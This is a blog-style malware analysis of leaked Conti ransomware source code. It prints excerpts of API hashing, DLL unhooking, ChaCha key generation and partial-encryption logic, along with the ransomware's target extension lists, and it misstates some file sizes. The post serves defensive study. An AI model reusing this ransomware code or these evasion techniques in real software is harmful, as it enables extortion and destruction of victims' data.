

Conti ransomware source code investigation - part 1.


By cocomelonc

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
4 minute read



Hello, cybersecurity enthusiasts and white hackers!



A Ukrainian security researcher has leaked newer malware source code from the Conti ransomware operation in revenge for the cybercriminals siding with Russia on the invasion of Ukraine.




As you can see the last modified dates being January 25th, 2021.

what's Conti ransomware? [Permalink](#)


ContiLocker is a ransomware developed by the Conti Ransomware Gang, a Russian-speaking criminal collective with suspected links with Russian security agencies. Conti is also operates a ransomware-as-a-service (RaaS) business model.

structure [Permalink](#)


The source code leak is a Visual Studio solution (contains `conti_v3.sln`):



that allows anyone with access to compile the ransomware locker:




and decryptor:



AV engines evasion [Permalink](#)

The first thing that usually attracts me to professionally written malware is the action by which this malware itself evasion AV engines and hides its activity.

To see the mechanism of communication with WinAPI, I look in the folder `api` :



So, looking at the file `getapi.cpp` . First of all see:

```
6 #define HASHING_SEED 0xb801fcda
7 #define API_CACHE_SIZE (sizeof(LPVOID) * 1024)
8
9 #ifdef _WIN64
10 # define ADDR DWORDLONG
11 #else
12 #define ADDR DWORD
13 #endif
14
15 #define RVATOVA( base, offset ) ( (ADDR)base + (ADDR)offset )
16
17 #define API_CACHE_SIZE (sizeof(LPVOID) * 1024)
18
19 typedef struct _UNICODE_STRING
20 {
```

As you can see, to convert RVA (Relative Virtual Address) to VA (Virtual Address) conti used this macro.

Then, find function `GetApiAddr` which find Windows API function address by comparing it's hash:

```
381 ADDR GetApiAddr(HMODULE Module, DWORD ProcNameHash, ADDR* Address)
382 {
383     /*----- 00000000 0000000000 000000 00000000 00 00 00000000 -----*/
384     // 00000000 000000 0000000000000000 PE 0000000000
385     PIMAGE_OPTIONAL_HEADER poh = (PIMAGE_OPTIONAL_HEADER)((char*)Module + ((PIMAGE_DOS_HEADER)Module->e_lfanew->e_oemid));
386
387     // 00000000 000000 00000000 00000000
388     PIMAGE_EXPORT_DIRECTORY Table = (IMAGE_EXPORT_DIRECTORY*)RVATOVA(Module, poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
389
390     DWORD DataSize = poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
391
392     INT Ordinal; // 00000 000000000000 000 00000000
393     BOOL Found = FALSE;
394
395     if (HIWORD(ProcNameHash) == 0)
396     {
397         // 0000 00000000 00 00 00000000
398         Ordinal = (LOWORD(ProcNameHash)) - Table->Base;
399     }
400     else
401     {
402         // 0000 00000000 00 00000000
```

that is, Conti uses one of the simplest but effective AV engines bypass tricks, I wrote about this in a previous [post](#).

And what hashing algorithm is used by conti?

```
getapi.cpp
409     for (i = 0; i < Table->NumberOfNames; ++i)
410     {
411
412         ProcName = (char*)RVATOVA(Module, *NamesTable);
413
414
415         if (MurmurHash2A(ProcName, StrLen(ProcName), HASHING_SEED) == ProcNameHash)
416         {
417             Ordinal = *OrdinalTable;
418             Found = TRUE;
419             break;
420         }
421
422         // 000000000000 00000000 0 00000000
423         ++NamesTable;
424         ++OrdinalTable;
425
426     }
427
428 }
```

```
getapi.cpp x hash.cpp x
1 #include "hash.h"
2 #include "..\memory.h"
3
4 #define mmix(h,k) { k *= m; k ^= k >> r; k *= m; h *= m; h ^= k; }
5 #define LowerChar(C) if (C >= 'A' && C <= 'Z') {C = C + ('a'-'A');}
6
7 unsigned int MurmurHash2A(const void* key, int len, unsigned int seed)
8 {
9     >> char temp[64];
10    >> RtlSecureZeroMemory(temp, 64);
11    >> memory::Copy(temp, (PVOID)key, len);
12
13    >> for (int i = 0; i < len; i++) {
14        >> >> LowerChar(temp[i]);
15    >> }
16
17    >> const unsigned int m = 0x5bd1e995;
18    >> const int r = 24;
19    >> unsigned int l = len;
20
21    >> const unsigned char* data = (const unsigned char*)temp;
22
23    >> unsigned int h = seed;
```

MurmurHash is a non-cryptographic hash function and was [written by Austin Appleby](#).

After that, the `api` module is invoked to execute an anti-sandbox technique with the purpose of disable all the possible hooking's on known DLLs. In fact, the following DLLs are loaded through the just resolved `LoadLibraryA` API:


```
getapi.cpp x antihooks.cpp x
13
14 VOID DisableHooks() 1
15 {
16     HMODULE hKernel32 = apLoadLibraryA(0BFA("kernel32.dll"));
17     HMODULE hWs2_32 = apLoadLibraryA(0BFA("ws2_32.dll"));
18     HMODULE hAdvapi32 = apLoadLibraryA(0BFA("Advapi32.dll"));
19     HMODULE hNtdll = apLoadLibraryA(0BFA("ntdll.dll"));
20     HMODULE hRstrtmgr = apLoadLibraryA(0BFA("Rstrtmgr.dll"));
21     HMODULE hOle32 = apLoadLibraryA(0BFA("Ole32.dll"));
22     HMODULE hOleAut = apLoadLibraryA(0BFA("OleAut32.dll"));
23     HMODULE hNetApi32 = apLoadLibraryA(0BFA("Netapi32.dll"));
24     HMODULE hIphlp32 = apLoadLibraryA(0BFA("Iphlpapi.dll"));
25     HMODULE hShlwapi = apLoadLibraryA(0BFA("Shlwapi.dll"));
26     HMODULE hShell32 = apLoadLibraryA(0BFA("Shell32.dll"));
27
28
29     if (hKernel32) {
30         removeHooks(hKernel32); 2
31     }
32
33
34     if (hWs2_32) {
```

threading [Permalink](#)

What about module `threadpool` ?. Each thread allocates its own buffer for the upcoming encryption and initialize its own cryptography context through the `CryptAcquireContextA` API and an RSA public key.:

```
File Edit View Selection Find Packages Help
Project threadpool.cpp x
contlv3
  cryptor
  antihooks
  api
  chacha20
  Debug
  filesystem
  global
  logs
  network_scanner
  obfuscation
  prockiller
  Release
  threadpool
    threadpool.cpp
    threadpool.h
  x64
  common.h
  cryptor.cpp
  cryptor.h
33 STATIC
34 BOOL
35 GetCryptoProvider(_out HCRYPTPROV* CryptoProvider)
36 {
37     BOOL bSuccess = (BOOL)pCryptAcquireContextA(CryptoProvider, NULL, 0BFA(MS_ENH_RSA_AES_PROV_A
38     if (bSuccess) {
39         return TRUE;
40     }
41
42     bSuccess = (BOOL)pCryptAcquireContextA(CryptoProvider, NULL, 0BFA(MS_ENH_RSA_AES_PROV_A)
43     if (bSuccess) {
44         return TRUE;
45     }
46
47     bSuccess = (BOOL)pCryptAcquireContextA(CryptoProvider, NULL, 0BFA(MS_ENH_RSA_AES_PROV_XP
48     if (bSuccess) {
49         return TRUE;
50     }
```

Then, each thread waits in an infinite loop for a task in the `TaskList` queue. In case a new task is available, the filename to encrypt is extracted from the task:



```
77 > while (TRUE) {
78 |
79 >> pEnterCriticalSection(&ThreadPoolInfo->CriticalSection);
80 |
81 |
82 >> PTASK_INFO TaskInfo = TAILQ_FIRST(&ThreadPoolInfo->TaskList);
83 >> if (!TaskInfo) {
84 |
85 >>> pLeaveCriticalSection(&ThreadPoolInfo->CriticalSection);
86 >>> pSleep(5000);
87 >>> continue;
88 |
89 >> }
90 |
91 >> TAILQ_REMOVE(&ThreadPoolInfo->TaskList, TaskInfo, Entries);
92 |
93 >> pLeaveCriticalSection(&ThreadPoolInfo->CriticalSection);
94 |
95 >> if (TaskInfo->Stop) {
96 >>> break;
97 >> }
98 |
```

encryption [Permalink](#)


The encryption for a specific file starts with a random key generation using the `CryptGenRandom` API:

```
cryptor.cpp - ~/projects/hacking/malw/conti_v3 - Atom
File Edit View Selection Find Packages Help
Project cryptor.cpp x
cont_i_v3
├── cryptor
│   ├── antihooks
│   ├── api
│   ├── chacha20
│   ├── Debug
│   ├── filesystem
│   ├── global
│   ├── logs
│   ├── network_scanner
│   ├── obfuscation
│   ├── prockiller
│   ├── Release
│   ├── threadpool
│   └── x64
│       ├── common.h
│       ├── cryptor.cpp
│       ├── cryptor.h
│       ├── cryptor.vcxproj
│       ├── cryptor.vcxproj.filters
│       ├── cryptor.vcxproj.user
│       ├── main.cpp
│       ├── memory.cpp
│       └── memory.h
└── ...
689  BOOL
690  GenKey(
691  >  __in HCRYPTPROV Provider,
692  >  __in HCRYPTKEY PublicKey,
693  >  __in cryptor::LPFILE_INFO FileInfo
694  )
695  {
696  >  DWORD dwDataLen = 40;
697
698  >  morphcode(FileInfo);
699
700  >  if (!pCryptGenRandom(Provider, 32, FileInfo->ChachaKey)) {
701  > >  return FALSE;
702  > }
703
704  >  morphcode(FileInfo->ChachaKey);
705
706  >  if (!pCryptGenRandom(Provider, 8, FileInfo->ChachaIV)) {
707  > >  return FALSE;
708  > }
709
710  >  morphcode(FileInfo->ChachaIV);
711
```

of a 32 -bytes key and another random generation of an 8 -bytes IV.

And as you can see, conti used [ChaCha](#) stream cipher which developed by [D.J.Bernstein](#).

`CheckForDataBases` method is invoked to check for a possible full or partial encryption:



against the following extensions:

.4dd, .4dl, .accdb, .accdc, .accde, .accdr, .accdt, .accft, .adb, .ade, .adf, .adp, .arc, .ora, .alf, .ask, .btr, .bdf, .cat, .cdb, .ckp, .cma, .cpd, .daccpac, .dad, .dadiagrams, .daschema, .db, .db-shm, .db-wal, .db3, .dbc, .dbf, .dbs, .dbt, .dbv, .dbx, .dcb, .dct, .dcx, .ddl, .dlis, .dp1, .dqy, .dsk, .dsn, .dtsx, .dxl, .eco, .ecx, .edb, .epim, .exb, .fcd, .fdb, .fic, .fmp, .fmp12, .fmpsl, .fol, .fp3, .fp4, .fp5, .fp7, .fpt, .frm, .gdb, .grdb, .gwi, .hdb, .his, .ib, .idb, .ihx, .itdb, .itw, .jet, .jtx, .kdb, .kexi, .kexic, .kexis, .lgc, .lwx, .maf, .maq, .mar, .mas.mav, .mdb, .mdf, .mpd, .mrg, .mud, .mwb, .myd, .ndf, .nnt, .nrmlib, .ns2, .ns3, .ns4, .nsf, .nv, .nv2, .nwdb, .nyf, .odb, .ogy, .orx, .owc, .p96, .p97, .pan, .pdb, .p dm, .pnz, .qry, .qvd, .rbf, .rctd, .rod, .rodx, .rpd, .rsd, .sas7bdatt, .sbf, .scx, .sdb, .sdc, .sdf, .sis, .spg, .sql, .sqlite, .sqlite3, .sqlitedb, .te, .temx, .tmd, .tps, .trc, .trm, .udb, .udl, .usr, .v12, .vis, .vpd, .vvv, .wdb, .wmdb, .wrk, .xdb, .xld, .xmlff, .abccdb, .abs, .abx, .accdw, .adn, .db2, .fm5, .hjt, .icg, .icr, .kdb, .lut, .maw, .mdn, .mdt

And `CheckForVirtualMachines` method is invoked to check for a possible partial encryption (20%):

```
1237 > else if (CheckForVirtualMachines(FileInfo->Filename)) {  
1238       
1239     >> if (!WriteEncryptInfo(FileInfo, PARTLY_ENCRYPT, 20)) {  
1240     >>> return FALSE;  
1241     >> }  
1242       
1243     >> Result = EncryptPartly(FileInfo, Buffer, CryptoProvider, PublicKey, 20);  
1244       
1245     > }
```

```
cryptor.cpp x
1006
1007 >> case 20:
1008 >>> PartSize = (FileInfo->FileSize / 100) * 7;
1009 >>> morphcode(PartSize);
1010 >>> StepsCount = 3;
1011 >>> StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
1012 >>> morphcode(StepSize);
1013 >>> break;
1014
1015 >> case 25:
1016 >>> PartSize = (FileInfo->FileSize / 100) * 9;
1017 >>> morphcode(PartSize);
1018 >>> StepsCount = 3;
1019 >>> StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
1020 >>> morphcode(StepSize);
1021 >>> break;
1022
1023 >> case 30:
1024 >>> PartSize = (FileInfo->FileSize / 100) * 10;
1025 >>> morphcode(PartSize);
1026 >>> StepsCount = 3;
1027 >>> StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
1028
```

the following extensions:

```
vdi, .vhd, .vmdk, .pvm, .vmem, .vmsn, .vmsd, .nvram, .vmx, .raw, .qcow2, .subvol, .bin, .vsv, .avhd,
.vMrs, .vhdx, .avdx, .vmcx, .iso
```

and in other cases, the following pattern is followed:

- if the file size is lower than 1048576 bytes (1.04 GB) - perform a full encryption
- if the file size is < 5242880 bytes (5.24 GB) and > 1048576 bytes (1.04 GB) - partial encryption: only headers

```
cryptor.cpp x
1246 >> else {
1247
1248 >> if (FileInfo->FileSize <= 1048576) {
1249
1250 >>> if (!WriteEncryptInfo(FileInfo, FULL_ENCRYPT, 0)) {
1251 >>>> return FALSE;
1252 >>> }
1253
1254 >>> Result = EncryptFull(FileInfo, Buffer, CryptoProvider, PublicKey);
1255
1256 >>> }
1257 >> else if (FileInfo->FileSize <= 5242880) {
1258
1259 >>> if (!WriteEncryptInfo(FileInfo, HEADER_ENCRYPT, 0)) {
1260 >>>> return FALSE;
1261 >>> }
1262
1263 >>> Result = EncryptHeader(FileInfo, Buffer, CryptoProvider, PublicKey);
1264
1265 >>> }
1266 >> else {
1267
```


else, 50% partial encryption:

```
1266 >>> else {
1267
1268 >>>> if (!WriteEncryptInfo(FileInfo, PARTLY_ENCRYPT, global::GetEncryptSize())) {
1269 >>>>> return FALSE;
1270 >>>>> }
1271
1272 >>>> Result = EncryptPartly(FileInfo, Buffer, CryptoProvider, PublicKey, global::GetEncryptSize());
1273
1274 >>>> }
1275
1276 >>>> }
```


```
11
12 enum ENCRYPT_MODES {
13
14 >> FULL_ENCRYPT = 0x24,
15 >> PARTLY_ENCRYPT = 0x25,
16 >> HEADER_ENCRYPT = 0x26
17
18 };
19
```

obfuscation [Permalink](#)

In addition, an interesting module was found in the source codes: obfuscation :



which can generate obfuscated code via [ADVObfuscator](#). For example strings:




That's all today. In the next part I will investigate `network_scanner` and `filesystem` modules.

conclusion [Permalink](#)

On February 25th, 2022 , Conti released a statement of full support for the Russian government - coupled with a stern warning addressed at anyone who might consider retaliating against Russia via digital warfare.

“WARNING”

 The Conti Team is officially announcing a full support of Russian government. If any body will decide to organize a cyberattack or any war activities against Russia, we are going to use our all possible resources to strike back at the critical infrastructures of an enemy.

 2/25/2022

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 0 [0.00 B]

ContiLeaks is a turning point in the cybercrime ecosystem, and in this case, we can expect a lot of changes in how cybercriminal organizations operate. From the one side less mature cybercriminal orgs might be very powerful and instead more sophisticated gangs will learn from Conti's mistakes.

I hope this post spreads awareness to the blue teamers of this interesting malware techniques, and adds a weapon to the red teamers arsenal.

[Carbanak](#)

[GetApiAddr implementation in Carberp malware](#)

[Carbanak source code](#)

[MurmurHash by Austin Appleby](#)

[ADVOfuscator](#)

[ChaCha cipher](#)

[theZoo repo in Github](#)

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!

PS. All drawings and screenshots are mine

Source: <https://cocomelonc.github.io/investigation/2022/03/27/malw-inv-conti-1.html>